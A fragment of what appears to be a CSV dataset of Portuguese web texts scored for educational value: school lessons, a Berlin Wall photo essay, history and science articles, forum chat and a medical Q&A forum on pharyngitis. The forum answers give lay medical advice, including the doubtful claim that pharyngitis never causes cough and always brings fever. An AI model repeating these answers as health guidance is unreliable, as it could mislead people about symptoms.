fascinante que está esperando para ser explorado. Continuem praticando, perguntando e se divertindo com a matemática. E lembrem-se: a matemática não é difícil, é apenas diferente!",Matemática,Números e operações básicas,anos iniciais (1º ao 5º ano),"O trecho recebe a pontuação máxima (5) por apresentar alto valor educacional e adequação para o ensino fundamental (anos iniciais). Introduz conceitos matemáticos básicos (adição, subtração, multiplicação e divisão) de forma lúdica e contextualizada, utilizando exemplos do cotidiano das crianças. A linguagem é clara, acessível e motivadora, incentivando a exploração e o aprendizado da matemática. O texto é coerente, completo e não apresenta informações irrelevantes ou conceitos complexos inadequados para o nível de escolaridade.",5,1.0 +"Guess Jamila Joia Colar Mulher UBN85016 - Pereirinha +TAGs: Guess, Jamila, UBN85016, Joia, Colar, Mulher, Fashion, 2 Anos de Garantia, Metal, Prateado, Cristal Swarovski, Guess-Jamila +Modelo UBN85016",original,original,original,original,0,0.0 +"Por trás da foto: o verão antes da queda do Muro de Berlim pelas lentes do fotógrafo Nino Rezende - ZUM - ZUM +Nino Rezende Publicado em: 09 de dezembro de 2019 +Portão de Brandemburgo, de Nino Rezende, Berlim, 1989 +Verão de 1989. Meu companheiro e eu morávamos havia um ano em Lisboa e achávamos que tinha chegado a hora de conhecer outras paisagens. A língua, os costumes e a cultura de Portugal me remetiam à casa da avó. Convidados por um amigo alemão, embarcamos para Berlim com a ideia de passar alguns dias, que no final se estenderam por 15 anos. Chegamos três meses antes de o muro que dividia a cidade em RFA (República Federal da Alemanha) e RDA (República Democrática da Alemanha) vir abaixo. Havia marchas e protestos, principalmente em Berlim Oriental e Dresden. Era enorme a tensão no ar. Alguns murmuravam sobre um novo massacre, como o que havia acontecido em junho de daquele ano em Pequim, na Praça Tian’anmen. +Comecei a fotografar intensamente, com uma ideia vaga sobre o que poderia acontecer com a história daquele lugar. Mas estava claro pra mim que estava diante de um evento importante. Morávamos no lado ocidental da cidade e fomos visitar o Portão de Brandemburgo, o simbólico portal da cidade, reconstruído no final do século 18, encimado pela Quadriga (estátua representando Irene, a deusa grega da paz, em sua biga puxada por quatro cavalos). Eu sempre andava com minha câmera pendurada no ombro e percebi o momento da foto: uma imagem silenciosa que mostrava dois mundos distintos, representando uma situação de conflito político e ideológico. +Usei uma lente grande angular para que o policial montado não percebesse a minha presença. Por estar em território desconhecido, melhor que ele pensasse que eu estava fotografando a bicicleta com o portão de fundo, que ele estaria fora do enquadramento. Essa imagem me marcou muito, por representar uma situação entre fronteiras que estava prestes a ruir. +Curioso é que essa imagem, e mais uma centena de outras feitas naquele verão, ficaram aguardando na geladeira por meses. Até que eu montasse meu laboratório P & B improvisado no banheiro e revelasse os filmes que estavam no silêncio. Não imaginava que aquele momento, que acaba de completar 30 anos, ficaria marcado pela história. /// +Nino Rezende (1962) nasceu em Brazópolis (MG). Estudou na Escola de Fotografia Imagem & Ação, em São Paulo. Entre 1989 e 2003 viveu em Berlim, onde trabalhou para os jornais Die Taz e Tagesspiegel. Participou de mostras coletivas no MIS, CCSP, Paço das Artes e MAM Bahia. Atualmente exibe a fotoinstalação A Queda – Berlim 1989 aos anos 2000 na Bienal de Curitiba. +Tags: 30 anos da Queda do Muro, Berlim, fotojornalismo, Queda do muro",original,original,original,original,3,0.6 +"Em seu monumental livro “Ortodoxia”, G. K. Chesterton narra um episódio interessante a partir do qual faz toda uma crítica à filosofia e ao mundo moderno. Entendo que tal crítica é essencial para conhecermos o porquê de tantas e tantas loucuras que nos cercam. Para que o leitor possa, ele mesmo, ter acesso a essa pérola, entendo por bem colacionar a íntegra do texto a que me referi: +“Se você discutir com um louco, é extremamente provável que leve a pior; pois sob muitos aspectos a mente dele se move muito mais rápido por não se atrapalhar com coisas que costumam acompanhar o bom juízo. Ele não é embaraçado pelo senso de humor ou pela caridade, ou pelas tolas certezas da experiência. Ele é muito mais lógico por perder certos afetos da sanidade. De fato, a explicação comum para a insanidade nesse respeito é enganadora. O louco não é um homem que perdeu a razão. O louco é um homem que perdeu tudo exceto a razão.”[1] +A crítica é de uma sagacidade e de uma profundidade que somente um Chesterton poderia atingir. +Em geral, tem-se a impressão de que um louco (ou, ao menos, aquele louco típico, que julga ser Napoleão ou Cleópatra) é um sujeito que perdeu a razão. Chesterton, num de seus paradoxos geniais, sustenta que tal louco, ao contrário, não é alguém que perdeu a razão (debater com um sujeito desses na tentativa de convencê-lo não ser Napoleão é tarefa que nem Sócrates conseguiria levar a bom termo), mas, em suma, alguém que perdeu coisa diversa. O louco é alguém que perdeu o contato com realidade, ficando apenas com sua razão girando num mundo que somente existe dentro de sua mente. +A crítica às filosofias modernas contida nesse pequeno trecho de Chesterton é devastadora. Ao menos desde Kant, o Ocidente tem virado as costas para a realidade das coisas. O homem ocidental tem, cada vez mais, apegado-se a teorias (e, nos tempos modernos, a ideologias), sem preocupar-se minimamente em confrontá-la com a realidade no intuito de observar se essa a sustenta e a confirma. O ocidental contemporâneo é como o Napoleão do hospício mais próximo, comprazendo-se em traçar estratégias para a Batalha de Waterloo sem ao menos perguntar se existe uma batalha concreta em vias de ser travada. +O fenômeno (como já assinalamos), não é novo. Já no século XVIII, ele estava presente e deixava boquiaberto qualquer um que se dispusesse a analisá-lo. A charge acima exposta (“French Liberty, British Slavery”) é de James Gillray, um britânico que fez um enorme sucesso com suas charges e que viveu entre os Anos da Graça de 1.756 e 1.815. Conta-se que ser desenhado por ele (ainda que em situações ridículas), era atestado de relevância pública, razão pela qual ninguém se importava com o fato de ser ridicularizado em suas charges. E, como, por definição, uma charge é uma crítica bem humorada da realidade, um chargista é necessariamente alguém vacinado (em algum grau, ao menos) contra a alienação dessa mesma realidade que os sistemas de pensamento moderno visam impor. +Na charge em questão, temos à esquerda, um francês esfarrapado. Come cebolas murchas. Sua casa é paupérrima e mal consegue ele manter vivo o fogo da lareira. Vive num país que enfrentava uma revolução (a “gloriosíssima” Revolução Francesa) e que se afundara na miséria justamente devido aos desmandos e à insanidade dos revolucionários. +À direita, temos um britânico gorducho. Está a se banquetear. O único problema de sua vida, aparentemente, é o excesso de bens que o cercam. Vive num país de prosperidade econômica e de liberdade de pensamento. +No entanto, o esfarrapado afirma viver numa terra que mana leite e mel (“Oh! Santo Deus! Abençoada seja a Liberdade. Viva a Assembleia! – sem impostos! nem escravidão!- todos os cidadãos livres. Ah, ah! Deus, como vivemos bem! Nadamos em leite e mel”[2]), enquanto que o gorducho crê piamente que seu governo o está matando de fome (“Ah! Esse maldito governo! Eles vão nos arruinar com seus malditos impostos! Por que, oh Deus, querem nos fazer de escravos e matar-nos ...",original,original,original,original,3,0.6 +"Aliança Nacional Libertadora +Compartilhar +Email +A Aliança Nacional Libertadora (ANL) foi uma organização política fundada pelo Partido Comunista do Brasil em 1935. +O manifesto público da Aliança, lido na Câmara dos Deputados no dia 17 de janeiro de 1935 pelo deputado Gilberto Gabeira, representante dos trabalhadores, expressava a indignação do povo com relação à situação política e econômica do Brasil em decorrência do governo de Getúlio Vargas. +Resumo +A organização surge quando um grupo de intelectuais e militares, socialistas e comunistas descontentes com o governo de Getúlio Vargas, se reúne e começa a elaborar as bases para lutar contra o fascismo, o imperialismo e o integralismo, que era o principal objetivo do então presidente Vargas. Importa referir que a Ação Integralista Brasileira (AIB) , organização política de bases fascistas, criada em 1932, contava com o apoio de Vargas. +Luís Carlos Prestes , conhecido com o ""Cavaleiro da Esperança"", era o presidente de honra da ALN e era bastante conhecido, uma vez que entre 1925 e 1927 tinha comandado o movimento Coluna Prestes , uma luta contra as elites. Assim, em pouco tempo a aliança ganha aliados à medida que milhares de cidadãos se filiam à ANL. Na sequência, tornam-se frequentes os conflitos entre integralistas e aliancistas, tal como são conhecidos respetivamente os membros da AIB e da ANL. +A atividade dos aliancistas dura poucos meses, pois a aliança se torna ilegal em julho de 1935, a partir de um discurso exaltado de Carlos Prestes, em que o mesmo propõe a queda do governo. +Mediante essa agitação iniciada por Prestes, o presidente da república, que teme a popularidade da Aliança, manda fechar a organização tendo como base a Lei da Segurança Nacional - chamada de ""Lei Monstro"" pela oposição. +Programa Político da ANL +Suspensão do pagamento da dívida externa do Brasil +Luta contra o latifundiário e o imperialismo +Defesa da reforma agrária +Nacionalização de empresas estrangeiras +Garantia da democracia +Constituição de um governo popular +Intentona Comunista +Em novembro de 1935, Carlos Prestes planeia um golpe ao governo, conhecido como Intentona Comunista . Consistindo uma movimentação que teve lugar no Rio Grande do Norte, Recife e Rio de Janeiro, durou 4 dias e terminou com a prisão dos seus membros, inclusive a de Carlos Prestes. +Saiba mais sobre o período em que Getúlio Vargas governou o Brasil em Era Vargas .",original,original,original,original,4,0.8 +"Cinema nas escolas celebra 20 anos em Lagoa – Jornal do Algarve +Cinema nas escolas celebra 20 anos em Lagoa +As comemorações alusivas aos 20 anos do programa Juventude-Cinema-Escola (JCE), marcam a agenda, até 31 de maio, em Lagoa, integrando a I Mostra Internacional de Cinema de Lagoa – Algares 2018, promovida pela câmara municipal. +O JCE é um programa promovido pela Direção-Geral dos Estabelecimentos Escolares (DGEstE), através da Direção de Serviços da Região Algarve (DSRAL) em parceria com o Cineclube de Faro (CCF). Ao longo dos 20 anos que decorreram sobre a sua implementação nas escolas da região do Algarve, já foram exibidos e explorados pedagogicamente cerca de 1.900 filmes, abrangendo 46.000 alunos e 1.900 professores de 10 escolas do 1º ciclo do ensino básico, 63 escolas do 2º, 3º ciclo e ensino secundário, 4 estabelecimentos de ensino particulares e cooperativos e 1 escola profissional, num total de 78 estabelecimento de educação e ensino. +TagsAlgares 2018 Cinema nas escolas Juventude-Cinema-Escola Lagoa",original,original,original,original,3,0.6 +"SenhorEco.org Iniciativa Sustentável: O Clima Realmente Afeta Nossa Saúde? +Postado por Senhor Eco on quarta-feira, 24 de agosto de 2016 +Marcadores: Bem Estar, Ciência, Clima, Estudo e Pesquisa, Qualidade de Vida, Saúde, Sociedade +Em 2013, neurocientistas da Universidade de Michigan, nos Estados Unidos, reportaram um dos mais estranhos casos da história da medicina: o de um homem que dizia conseguir farejar o clima. Se uma tempestade se aproximava, ele sentia um cheiro quase insuportável de excrementos de gambá misturado com o de cebolas cruas. Os pesquisadores não conseguiram explicar a causa desses sintomas bizarros. +É provável que a maioria de nós não seja dotada desse ""talento"" – ainda bem. Mas mudanças na atmosfera – mesmo as mais sutis – parecem ter uma relação estreita com mudanças em nosso corpo. +Apesar de sempre ouvirmos histórias de como o tempo frio e úmido atinge nossas articulações, ainda não é possível afirmar que isso realmente ocorre. Em 2009, uma análise de nove estudos realizados até então sobre o assunto concluiu que não há um efeito consistente do clima sobre os sintomas da artrite reumatoide. +É mais provável que se trate de um caso de ""tendência de confirmação"": se você já acredita que a chuva traz dor, tende a notar mais os dias de mau tempo em que se sente desconfortável e a ignorar quando se sente bem. Mesmo assim, não se trata de um caso encerrado, já que outros estudos pretendem investigar o fenômeno mais a fundo. +Você já se sentiu carregando o mundo nas costas? Isso pode ser porque existe cerca de 1 tonelada de ar fazendo pressão sobre nossas cabeças a todo momento. Parece ser a receita certa para uma dor de cabeça. E, para algumas pessoas, é justamente isso o que acontece. +O cientista Kazuhito Kimoto, da Faculdade de Medicina de Dokkyo, no Japão, e seus colegas pediram para que 28 pacientes com enxaqueca escrevessem o diário de suas dores durante um ano. Ao comparar os dados com o histórico da meteorologia no mesmo período, eles perceberam que a dor coincidia com a queda na pressão atmosférica. +Apesar de a equipe ter estudado um pequeno grupo de voluntários, outro estudo japonês confirmou o efeito, descobrindo que a venda de analgésicos aumenta quando o barômetro cai. Um dos motivos poderia ser o fato de a queda de pressão do ar prejudicar o sistema vestibular – a cavidade na cabeça que nos ajuda a manter o equilíbrio –, provocando episódios de tontura e de dor de cabeça. +Além de ser a estação da gripe, o inverno também traz um aumento regular no número de ataques cardíacos. Segundo um estudo da Universidade de Pequim, as mortes por problemas cardíacos aumentam 40% no inverno em comparação com a primavera e o verão. +Apesar de décadas de estudo, ninguém ainda sabe porquê, mas a pesquisa chinesa descobriu que uma temperatura mais fria parece aumentar a pressão arterial – um dos fatores de risco para o infarto. +O calor ajuda a gerar mais meninos? +Temos a impressão de que a população mundial é dividida exatamente em 50% de homens e 50% de mulheres. Mas a verdade é que essas proporções variam muito de acordo com o clima. No Hemisfério Norte, por exemplo, há mais chances de meninos serem concebidos em anos mais quentes do que naqueles em que o frio durou mais meses do que o normal. +O exato motivo para isso ainda é um enigma. Pode ser que a temperatura altere o equilíbrio hormonal da mulher ou a produção de esperma no homem. Já alguns cientistas acreditam se tratar de um mecanismo evoluído nas mulheres para aumentar as chances de passar seus genes adiante. +Isso porque os meninos têm menos chances de se reproduzir do que as meninas se estiverem em más condições de saúde. Então nosso corpo decidiria o sexo baseado em nosso ambiente atual. +De qualquer forma, o efeito é minúsculo e tende a variar de região para região do mundo. Apesar de ser algo biologicamente interessante, esse não é um fator para orientar sua decisão de ter filhos. +O sol pode matar? +O sol está constantemente banhando a Terra com tempestades ...",original,original,original,original,4,0.8 +"Momento crucial da vida de um cometa seguido de perto pela “Roseta” | Sistema solar | PÚBLICO +Sistema solar Momento crucial da vida de um cometa seguido de perto pela Roseta +Torne-se perito Sistema solar +ESA divulgou nesta quinta-feira imagem do cometa com um enorme jacto, poucas horas antes de atingir o ponto mais próximo do Sol. Cientistas estudam gases do 67P para descobrir as condições da sua formação há 4500 milhões de anos. +Jacto de material lançado pelo cometa captado pela sonda Roseta: agora que está particularmente próximo do Sol, a actividade é intensa ESA +O cometa antes (à esquerda), durante (no meio), e após (à direita) o jacto ESA +O cometa 67P/Churiumov-Gerasimenko atingiu na madrugada desta quinta-feira, às 3h03 (hora de Lisboa), o periélio, o ponto mais próximo do Sol. E já começou a sua lenta viagem em direcção à órbita de Júpiter. A sonda Roseta, da Agência Espacial Europeia (ESA), que acompanhou este momento fulgurante, prepara-se para começar a registar os efeitos da actividade do Sol no cometa. +“Antes do periélio, a Roseta analisou os parâmetros da superfície do cometa, e agora vai poder voltar a olhar para a superfície do cometa e perceber como é que estes parâmetros mudaram”, revelou Nicolas Altobelli, um dos responsáveis pela missão, durante uma emissão em directo da ESA nesta quinta-feira. “O periélio é um marco fantástico alcançado pela Roseta.” +É a primeira vez que uma sonda acompanha de perto a vida de um cometa. O 67P esteve nesta quinta-feira a apenas 186 milhões de quilómetros da nossa estrela, entre a órbita da Terra e Marte. Demorará mais 6,5 anos até voltar. Sempre que se aproxima do Sol, a radiação e os ventos solares fazem libertar gás e poeiras do seu núcleo, formando a famosa cabeleira e cauda, que no caso do 67P não se vê da Terra a olho nu. +O cometa 67P está de visita ao Sol e já esguichou do “pescoço” +Apesar de já se estar a afastar, a actividade do cometa ainda vai aumentar. “Há uma certa inércia na propagação das ondas de calor no interior do núcleo e poderá ser que o cometa atinja o pico da emissão de gases nas próximas semanas”, explicou Nicolas Altobelli, citado pela agência noticiosa AFP. +Neste momento, o cometa liberta 300 quilos de água por segundo, o que equivale por dia ao volume de água de dez piscinas olímpicas (uma piscina tem 2500 metros cúbicos). A 6 de Agosto de 2014, quando a Roseta atingiu a órbita do 67P, com o cometa então a 540 milhões de quilómetros do Sol, ainda entre Júpiter e Marte, este apenas libertava 300 gramas de água por segundo, dez vezes menos do que agora. +Durante a emissão da ESA, foram divulgadas várias imagens do cometa dos últimos meses. Algumas foram obtidas pela Roseta, outras foram tiradas por telescópios na Terra. Nestas fotografias, o 67P surgia com a cabeleira e a cauda muito pequenas, sem se perceber os contornos do núcleo que, graças à Roseta, sabemos que faz lembrar um patinho de borracha, com uma cabeça mais pequena e um corpo maior. +Durante estes dias, os cientistas da missão estão especialmente interessados no material expelido do cometa, como os gases raros (hélio, árgon, crípton, entre outros), que podem dar indicações sobre a temperatura a que este cometa foi formado, há 4500 milhões de anos, no início do sistema solar. +Há química nova no cometa 67P, um lugar poeirento marcado pela erosão +Pensa-se que o 67P provém da cintura de Kuiper, que começa para lá da órbita de Neptuno e termina a uma distância equivalente a 50 vezes a distância da Terra ao Sol. Nesta enorme e fria região, há muitos corpos gelados, o maior é Plutão. Alguns objectos são atirados para dentro do sistema solar, como é o caso do 67P. +A estranha forma de pato do 67P levou os cientistas a indagar como é que ele surgiu. Uma das ideias iniciais é que a erosão tinha o esculpido a partir de um cometa mais arredondado. Mas segundo Holger Sierks, responsável pela equipa que controla a câmara OSIRIS da Roseta, os últimos dados da sonda apoiam outra ideia: “Temos indicações, de...",original,original,original,original,4,0.8 +"Boas notícias: os eletricistas estão a registar uma grande procura e, como resultado, as suas agendas estão preenchidas – mas, ao mesmo tempo, a...Read more » +Luis Catalan posted: 9 de junho de 2022 +3 min read +Featured Post: +Schneider Electric capacitará mais de três mil parceiros de TI até o fim de... +Com mais de 10 anos de existência e mais de mil parceiros em todo o Brasil, o programa de canais da APC by Schneider Electric é um dos mais...Read more » +Luciano Santos posted: 7 de maio de 2019 +1 min read +Sort by +Most Recent +Most Viewed +Most Commented +1 min read +Schneider Electric capacitará mais de três mil parceiros de TI até o fim de... +Luciano Santos | 7 de maio de 2019 +1381 views 0 0 552 +3 min read +Vai uma Ajudinha: Como impulsionar o negócio da eletricidade na era digital +Luis Catalan | 9 de junho de 2022 +72 views 0 0 94 +1 min read +Schneider Electric capacitará mais de três mil parceiros de TI até o fim de... +Luciano Santos | 7 de maio de 2019 +1381 views 0 0 552 +3 min read +Vai uma Ajudinha: Como impulsionar o negócio da eletricidade na era digital +Luis Catalan | 9 de junho de 2022 +72 views 0 0 94 +apc APC by Schneider arquitetura automação automação industrial casa Cloud Data Centers DCIM decoração digitalização economia economia de energia Ecostruxure Edge Computing eficiência eficiência energética elétrica energia elétrica field services futuro Gerenciamento da Infraestrutura de Data Centers gestão de energia IIoT iluminação indústria inovação Inteligência Artificial internet das coisas interruptor interruptores IoT IT manutenção nobreak proteção residência schneider electric segurança serviços sustainability sustentável tecnologia TI tomadas Transformação Digital UPS +Tweets by SchneiderElecBR +Inscreva-se para o e-mail: +Eu desejo receber notícias e informações comerciais da Schneider Electric e de suas afiliadas por meio de comunicação eletrônica, como e-mail. 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Pode ser feito em qualquer idade. +Tem o propósito de capacitar o profissional, proporcionando conhecimentos teóricos e práticos das diversas atividades do setor produtivo, permitindo que o futuro profissional descubra o seu verdadeiro potencial e inicie um processo de desenvolvimento de suas potencialidades na busca da sua realização profissional. +Se você colocou na cabeça que a melhor solução para o sucesso profissional é entrar na faculdade imediatamente, pare para pensar. Existe um caminho mais curto para você entrar no mercado de trabalho, o Curso Técnico +O que está acontecendo com o mercado de trabalho? De um lado, há um batalhão de candidatos, principalmente jovens entre 17 e 25 anos, com formação superior, que não conseguem emprego. Do outro lado, as empresas estão dizendo que as vagas existem, mas faltam candidatos qualificados.A realidade é que estão sobrando candidatos com curso superior e faltando candidatos de nível técnico. +Atualmente, informática é o setor que mais está oferecendo vagas. Estima-se que nos próximos cinco anos haverá uma falta de cem mil técnicos em informática. O mercado também está à procura de técnicos em logística, um curso em alta no momento. +Qual é a vantagem de fazer o curso técnico antes de fazer a faculdade? +Você acaba saindo na frente de muitas pessoas que fazem a faculdade e não tem uma experiência de trabalho, de vivência, de rotina, que curso o técnico lhes oferece +Emprego garantido ! +São muitas as dúvidas de quem se prepara para entrar no mercado de trabalho. As perguntas mais comuns: Que curso devo fazer? Como está o mercado de trabalho nesse setor que estou escolhendo? +É exatamente ao refletir sobre essas questões que nos deparamos com um dos problemas mais preocupantes para quem está entrando num mercado de trabalho competitivo e diversificado: O Desemprego. +Existem três modalidades de curso: +· Integrado: Onde o aluno cursa o Ensino Médio ao mesmo tempo em que recebe o aprendizado técnico. +· Sequencial: Para quem já concluiu o Ensino Médio e, nesse caso, estuda apenas o conteúdo técnico. +· Programa de Educação de Jovens e Adultos: Voltado para os que têm mais de 18 anos e precisam concluir o Ensino Médio e fazer o curso técnico simultaneamente. +Os professores dizem que, para aqueles que já concluíram o Ensino Médio, muitas vezes vale a pena adiar um pouco o sonho de ir para a universidade. Optar por um curso técnico pode ser uma boa estratégia para se posicionar melhor no mercado de trabalho. +A vantagem é, enquanto ele estuda no Ensino Médio, recebe qualificação profissional. Nesse sentido, é muito interessante para o aluno, porque ele não está escolhendo só um curso técnico, ele está escolhendo uma carreira. +Como Você Enxerga O Mercado De Trabalho E As Oportunidades De Emprego ? +Blog do Batata | 19:31 | | 1 comentários +O que é mercado de trabalho? Por que é tão importante manter-se informado sobre ele? O que ele tem a ver com a escolha profissional? Afinal, como anda o mercado de trabalho em tempos de desemprego? +Mercado de trabalho é a relação entre a oferta de trabalho e a procura de trabalhadores, e o conjunto de pessoas e/ou empresas que em época e lugar determinados, provocam o surgimento e as condições dessa relação. +Ficar atento ao mercado de trabalho é fundamental para quem está pretendendo investir em uma profissão, em uma carreira. Entender o que se busca num profissional atualmente, as novas regras de trabalho, as relações de competição, as +exigências da globalização, tudo isso faz parte da compreensão global da expressão “mercado de trabalho” . +A rapidez com que o mundo caminha é tal que parece impossível acompanhar todas as mudanças no mercado. Independentemente da profissão que você escolher, é importante que saiba que hoje em dia...",original,original,original,original,4,0.8 +"Outro dia a Stan disse que seria interessante comentar o poema... Confesso que não havia pensado nisso e, apesar de eu gostar que cada pessoa interprete da sua maneira, me convenci a comentar a forma que vejo esse poema.",original,original,original,original,1,0.2 +"Universidades portuguesas chumbam em toda a linha - Agronomia +por papinto, em 05.12.09 +DN, 2009.12.05 +DN +Críticas. Desfasamento entre os programas de estudo e as prioridades do Governo, deficiente sistema de incentivos e a baixa qualificação do pessoal académico são alguns dos pontos fracos encontrados +Os principais problemas prendiam-se com um desfasamento entre a rede de instituições e programas de estudo que não correspondia às prioridades do Governo. Por isso, Portugal é apresentado como mau um exemplo de ""eficiência"", concluindo-se que o País tem uma rede de universidades e cursos que também não correspondem às necessidades da economia. +Além disso, também o sistema de incentivos é criticado, nomeadamente o facto de ""a competição ser reduzida a limitadas oportunidades de promoção, nos topos das carreiras"". O estudo aponta ainda como pontos fracos a baixa qualificação do pessoal académico, devido ao reduzido número de doutorados, tal como a excessiva carga lectiva dos professores. +Neste estudo foram considerados todos os países da União Europeia menos o Luxemburgo, que até há pouco tempo não tinha universidades, e ainda o Japão e os EUA, ""com quem os europeus gostam sempre de se comparar"", diz Miguel St. Aubyn. +Segundo este investigador do ISEG, algumas razões para esta má classificação prende-se ""com o tempo que os alunos demoram a concluir os cursos quando não desistem mesmo a meio"". Além disso, salienta, o número de publicações científicas nos anos em análise foi bastante reduzido face ao número de docentes existente. +Por outro lado, se Portugal aparecia em 11.º na relação entre pessoal académico por cada mil habitantes, já ao nível de licenciados por mil habitantes surgia em 22º. O mesmo lugar que ocupava na relação entre o número de licenciados o pessoal académico. +Miguel St. Aubyn diz que outra das conclusões foi que, por norma, as universidades apresentam melhores resultados nos países em que o financiamento está dependente dos resultados. Algo que em Portugal não sucede.",original,original,original,original,2,0.4 +"a minha foi quando o jesse anderson aparece axo ke e a ultima mas, por enquanto é essa ainda vou no episodio 75 +A minha foi a da yubel, achei interessante um espirito d monstro reevoltar-se contra o seu antigo dono e dar no que deu +Acabei de ve Yu-Gi-Oh no passado Sábado, e posso dizer que a minha temporada favorita foi sem dúvida a última, e aquele final foi simplesmente fantástico. O duelo contra o Yu-Gi tá nos meus 5 duelos favoritos.",original,original,original,original,1,0.2 +"Já parou para pensar de onde vêm as coisas que usamos no dia a dia? A água que bebemos, a madeira da nossa mesa, o minério do nosso celular, até mesmo o vento que sentimos no rosto… Tudo isso vem da natureza, dos chamados recursos naturais! E o Brasil, nosso país gigante e diverso, é incrivelmente rico nesses recursos. + +Mas, afinal, o que são recursos naturais? São tudo aquilo que a natureza nos oferece e que utilizamos para viver e nos desenvolver. Eles podem ser renováveis, como a água, o solo, o ar, a energia solar e a biomassa (matéria orgânica de plantas e animais), que se regeneram naturalmente em um período relativamente curto. Também existem os recursos não renováveis, como o petróleo, o carvão mineral, o ferro e outros minerais, que levam milhões de anos para se formar e, uma vez utilizados, não podem ser repostos em um tempo útil para nós. + +O Brasil possui uma grande diversidade de recursos naturais renováveis, como a maior floresta tropical do mundo, a Amazônia, rios extensos e volumosos como o Amazonas e o São Francisco, além de uma vasta área costeira com grande potencial para energia eólica (dos ventos) e solar. Essa riqueza nos permite produzir alimentos, gerar energia e construir moradias, mas também traz uma enorme responsabilidade: a de usar esses recursos de forma consciente e sustentável. + +A exploração descontrolada dos recursos naturais pode trazer sérios problemas para o meio ambiente e para a nossa qualidade de vida. O desmatamento, por exemplo, causa a perda de biodiversidade, o aumento do efeito estufa e a erosão do solo. A poluição da água e do ar afeta a saúde das pessoas e dos animais. A mineração predatória destrói paisagens e contamina o solo e a água. + +Por isso, é fundamental que todos nós, cidadãos brasileiros, aprendamos a valorizar e a proteger os nossos recursos naturais. Pequenas atitudes no dia a dia podem fazer uma grande diferença: economizar água, separar o lixo para reciclagem, consumir produtos de empresas que respeitam o meio ambiente, plantar árvores e denunciar crimes ambientais. O futuro do Brasil e do nosso planeta depende das nossas escolhas! Que tal começar hoje mesmo a repensar a sua relação com a natureza? Você já parou para pensar na quantidade de água que gasta ao escovar os dentes? E que tal começar a usar mais o transporte público ou a bicicleta em vez do carro?",Geografia,Recursos naturais,anos finais (6º ao 9º ano),"O trecho apresenta informações básicas relevantes sobre recursos naturais, define conceitos importantes como renováveis e não renováveis, e discute a importância da sustentabilidade. A linguagem é acessível e o conteúdo é adequado para o ensino fundamental, promovendo a conscientização sobre o uso responsável dos recursos naturais e incentivando ações cotidianas para a preservação ambiental. Aborda questões como desmatamento, poluição e mineração predatória, ressaltando a necessidade de proteger os recursos naturais.",5,1.0 +"“Modas & Bordados” surge no ano de 1920 como suplemento do jornal “O Século”, periódico diário de Lisboa fundado em 1880 pelo jornalista Sebastião de Magalhães Lima, e foi uma publicação dirigida, não só mas essencialmente, à mulher, abordando temas como moda, culinária, etiqueta, beleza, cultura, educação, entre outros. +Em 1928, a revista ganha outra dimensão sob a direção de Maria Lamas (desde logo patente na mudança de nome que passa a ser “Modas & Bordados: Vida Feminina”), introduzindo novas temáticas centradas nas atividades culturais, políticas e sociais desenvolvidas por mulheres e nos seus direitos, desempenhando um papel educativo na construção de um novo discurso na imprensa feminina. Também em 1928 surgira a revista “Cinéfilo”, igualmente suplemento do mesmo jornal – e já agora, a título de curiosidade, aos leitores era oferecida a possibilidade de assinatura de ambos, com preços que iam desde 17$50 por uma assinatura por três meses para continente e ilhas. +O álbum que nos chegou, infelizmente com muitas páginas em branco, inclui os retratos de atrizes com a anotação a tinta do número respetivo da revista (todos eles do ano de 1940), e no verso das imagens surge, ora em inglês ora em português, o texto (assinado pelos departamentos de publicidade dos grandes estúdios de cinema norte-americanos) onde consta a descrição do guarda-roupa. Os figurinos apresentados são endossados por atrizes como Vivien Leigh, Janice Chambers, Jo Ann Sayers, Jeanette Macdonald, Joan Crawford, Lana Turner, Judy Garland, entre outras. +Nelas se pode ver como a moda e o cinema são refletores de mudança, transformações políticas, económicas, sociais, culturais, em que a sociedade é sensível aos seus estímulos, adotando os estilos impostos pelas estrelas de cinema, que determinam, ou melhor, ditam as tendências, podendo ser negativas ou positivas, dependendo dos movimentos dos fluxos naturais das sociedades. A mulher representada neste álbum é decidida, lutadora, criativa, económica e mais liberta de preconceitos, com figurinos simples, que lhe possa permitir também trabalhar. +O conjunto de fotografias de atrizes que compõem o “Álbum Modas & Bordados”, além da sua delicada estética, constitui um documento histórico valioso na medida em que nos conta histórias diversas. Narrativas visuais contextualizadas e que nos transportam a uma determinada época histórica, politica, social e cultural através do seu guarda-roupa, penteados, representação cénica, e do seu objeto de “abrigo”, o álbum em si.",original,original,original,original,3,0.6 +"Há uns 4 meses tenho uma tosse constante, depois uma falta de ar terrível, são os únicos sintomas, pois não tenho febre e nem dores, nem de garganta... Fui ao médico ele disse q era um começo de faringite, passou um antibiótico, um xarope antialérgico, e um pra faringite... Melhorou muito pouco, mas logo depois não resolveu nada... Faço escova inteligente no meu cabelo há 1 ano + ou - e é com formol... Gostaria de saber Uq devo fazer para curar essa faringite?? Se esse tempo todooo de tosse tah normal (não to suportanto mais)? E se a escova com formol tem algo a ver com a faringite ou se piora?? (Thaise) +---------- +Amiga, eu duvido que seu problema seja faringite. FAringite não dá tosse e sempre dá febre. É muito possivel que você esteja fazendo uma reação alérgica ao formol, mas isso só o médico poderá confirmar. Não sei em que médico você foi, mas sugiro que vá a um pneumologista, porque evidentemente tosse de 4 meses não é normal e sempre se recomenda que o profissional seja procurado a partir da 3ª semana de tosse. Boa sorte. (+ info) +Como distinguir a Faringite da Mononucleose? +Sei que a Mononucleose é a Faringite com outras coias mais. +Mas como saber se a pessoa está com Faringite ou Mononucleose? +---------- +Olá +Sim, é possível se for uma faringite mais leve. A diferença é que a mononucleose, por ser uma doença mais ""disseminada"" apresenta sintomas como cansaço, dores musculares, dor de cabeça e por aí vai. Já a faringite, por ser mais ""localizada"" (salvo casos de faringites purulentas ou quadros infecciosos mais graves), não costuma apresentar estes sintomas ou, se os apresenta, eles são mais brandos. +Mas, na dúvida, vá a um médico, boa sorte, []s (+ info) +bom eu tenho faringite cronica alguem sabe d algum remedio? +e nem adianta dizer para ir ao medico pq eu ja fui 3 vezes e a medica deu o mesmo remedio q nao adiantou pra nada +---------- +Volta lá e fala pra médica que o remédio que ela deu não adiantou nada. Ou troca de médico. (+ info) +Estou grávida de 25 semanas e peguei uma faringite.? +Tive febre e estou com muita tosse que tem dado dor de cabeça e no peito. Qual o risco pra gravidez? +---------- +O risco é apenas com a auto-medicação, pois a faringite não afetará o bebê e a gravidez. +Converse com seu médico para saber qual medicamento mais indicado, que não prejudicará o bebê. +Melhoras e muita saúde pro bebezinho! (+ info) +Tenho rinite e faringite alérgica, e sinto que ela melhora ao cheirar o álcool. Isso pode provocar algum dano? +O Álcool comercia contem o Benzoato de Denatônio. O Benzoato de Denatônio é uma substância amargante não percebida pelo rato colocada 